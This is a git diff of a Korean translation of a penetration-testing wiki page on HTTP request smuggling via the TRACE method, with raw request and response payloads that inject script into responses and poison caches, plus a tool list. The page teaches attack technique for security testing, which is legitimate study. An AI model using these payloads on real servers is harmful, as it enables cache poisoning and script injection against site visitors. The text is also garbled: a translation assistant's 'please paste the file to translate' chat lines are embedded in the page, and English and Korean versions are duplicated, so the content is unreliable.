[**In this post**](https://portswigger.net/research/trace-desync-attack)에서는 서버에 TRACE 메서드가 활성화되어 있으면 HTTP Request Smuggling으로 이를 악용할 수 있다고 제안합니다. 이는 이 메서드가 서버로 전송된 모든 헤더를 응답 본문의 일부로 반사하기 때문입니다. 예를 들면:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) 에서는 서버에 TRACE 메서드가 활성화되어 있는 경우 HTTP Request Smuggling으로 이를 악용할 수 있다고 제안합니다. 이는 이 메서드가 서버에 전송된 모든 헤더를 응답의 본문 일부로 반사하기 때문입니다. 예를 들어:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
번역할 src/pentesting-web/http-request-smuggling/README.md의 내용을 여기에 붙여넣어 주세요.
|
||||
코드 블록, 태그({#...}), 링크/경로, 기술명(예: http-request-smuggling), 일반적인 해킹 용어는 번역하지 않습니다. 파일이 크면 여러 메시지로 나눠서 보내셔도 됩니다.
|
||||
번역할 README.md의 내용을 여기에 붙여넣어 주세요. 코드, 태그, 링크/경로, 기법 이름 등 번역하지 말라는 규칙을 준수하여 한국어로 번역해 드리겠습니다.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -659,15 +694,15 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
이 동작을 악용하는 한 예는 **먼저 HEAD request를 smuggle** 하는 것이다. 이 요청에는 GET 요청의 **headers**만 응답되며(**`Content-Type`** 포함). 그리고 HEAD 바로 뒤에 **TRACE request를 smuggle** 하면, 이 요청은 보낸 데이터를 **반사**한다.\
|
||||
HEAD 응답에 `Content-Length` 헤더가 포함되어 있기 때문에, **TRACE 요청의 응답은 HEAD 응답의 바디로 간주되어 임의의 데이터를 반영하게 된다**.\
|
||||
이 응답은 연결을 통해 다음 요청으로 전달되며, 예를 들어 캐시된 JS 파일에 사용되어 임의의 JS 코드를 주입하는 데 **사용될 수 있다**.
|
||||
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
|
||||
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
|
||||
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
|
||||
|
||||
### TRACE를 통한 HTTP Response Splitting 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### HTTP Response Splitting을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
또 다른 TRACE 악용 방법은 [**이 글**](https://portswigger.net/research/trace-desync-attack)을 참고하는 것을 권장한다. 앞서 언급한 것처럼, HEAD request와 TRACE request를 smuggle하면 HEAD 응답에서 **일부 반사된 데이터를 제어할 수 있다**. HEAD 응답의 바디 길이는 기본적으로 `Content-Length` 헤더로 표시되며, 그 내용은 TRACE 요청에 대한 응답으로 구성된다.
|
||||
자세한 내용은 [**this post**](https://portswigger.net/research/trace-desync-attack)를 참고하면 TRACE method를 악용하는 또 다른 방법이 제안되어 있습니다. 언급된 바와 같이, HEAD 요청과 TRACE 요청을 smuggle하면 HEAD 응답에서 일부 반사된 데이터를 제어하는 것이 가능합니다. HEAD 요청 본문의 길이는 기본적으로 `Content-Length` 헤더에 의해 표시되며 TRACE 요청의 응답으로 구성됩니다.
|
||||
|
||||
따라서, 이 `Content-Length`와 TRACE 응답에서 제공되는 데이터를 알고 있다면, TRACE 응답이 `Content-Length`의 마지막 바이트 뒤에 유효한 HTTP 응답을 포함하도록 만들 수 있고, 이를 통해 공격자는 다음 응답에 대한 요청을 완전히 제어할 수 있다(이는 cache poisoning 수행에 이용될 수 있다).
|
||||
따라서, 이 `Content-Length`와 TRACE 응답에 포함된 데이터를 알고 있다면, TRACE 응답이 `Content-Length`의 마지막 바이트 뒤에 유효한 HTTP response를 포함하도록 만들 수 있고, 이는 공격자가 다음 응답에 대한 요청을 완전히 제어할 수 있게 하여 (cache poisoning 수행에 사용될 수 있습니다).
|
||||
|
||||
Example:
|
||||
```
|
||||
@ -688,7 +723,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
다음과 같은 응답을 생성합니다 (HEAD 응답이 Content-Length를 갖고 있어 TRACE 응답을 HEAD 본문의 일부로 만들며, HEAD Content-Length가 끝나면 유효한 HTTP 응답이 스머글됩니다):
|
||||
다음과 같은 응답을 생성합니다(HEAD 응답이 Content-Length를 포함하고 있어 TRACE 응답이 HEAD 본문의 일부가 되며, HEAD의 Content-Length가 끝나면 유효한 HTTP 응답이 smuggled 되는 점에 주의하세요):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -709,9 +744,9 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### HTTP Response Desynchronisation을 이용한 HTTP Request Smuggling 무기화
|
||||
### HTTP Response Desynchronisation로 HTTP Request Smuggling 무기화하기
|
||||
|
||||
HTTP Request Smuggling 취약점을 발견했지만 어떻게 익스플로잇할지 모르겠나요? 다음 다른 익스플로잇 방법들을 시도해보세요:
|
||||
HTTP Request Smuggling 취약점을 발견했지만 어떻게 exploit할지 모르겠다면, 다음 다른 exploitation 방법들을 시도해보세요:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -734,7 +769,7 @@ browser-http-request-smuggling.md
|
||||
request-smuggling-in-http-2-downgrades.md
|
||||
{{#endref}}
|
||||
|
||||
## Turbo intruder 스크립트
|
||||
## Turbo intruder scripts
|
||||
|
||||
### CL.TE
|
||||
|
||||
@ -823,14 +858,14 @@ table.add(req)
|
||||
```
|
||||
## 도구
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – 연결/프레이밍 및 저수준 HTTP 동작을 시각화
|
||||
- HTTP Hacker (Burp BApp Store) – 연결/프레이밍 및 저수준 HTTP 동작을 시각화합니다
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 이 도구는 문법 기반의 HTTP Fuzzer로, 이상한 request smuggling 불일치를 찾는 데 유용합니다.
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 이 도구는 문법 기반 HTTP Fuzzer로, 이상한 request smuggling 불일치를 찾아내는 데 유용합니다.
|
||||
|
||||
## 참고자료
|
||||
|
||||
@ -843,10 +878,11 @@ table.add(req)
|
||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- 거짓-거짓 양성에 주의: HTTP pipelining과 request smuggling을 구별하는 방법 – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- 오탐(false false‑positive) 주의: HTTP pipelining과 request smuggling을 구별하는 방법 – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,8 @@
|
||||
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
|
||||
|
||||
async function getSponsor() {
|
||||
const url = "https://book.hacktricks.wiki/sponsor"
|
||||
const currentUrl = encodeURIComponent(window.location.href);
|
||||
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
|
||||
try {
|
||||
const response = await fetch(url, { method: "GET" })
|
||||
if (!response.ok) {
|
||||
|
Loading…
x
Reference in New Issue
Block a user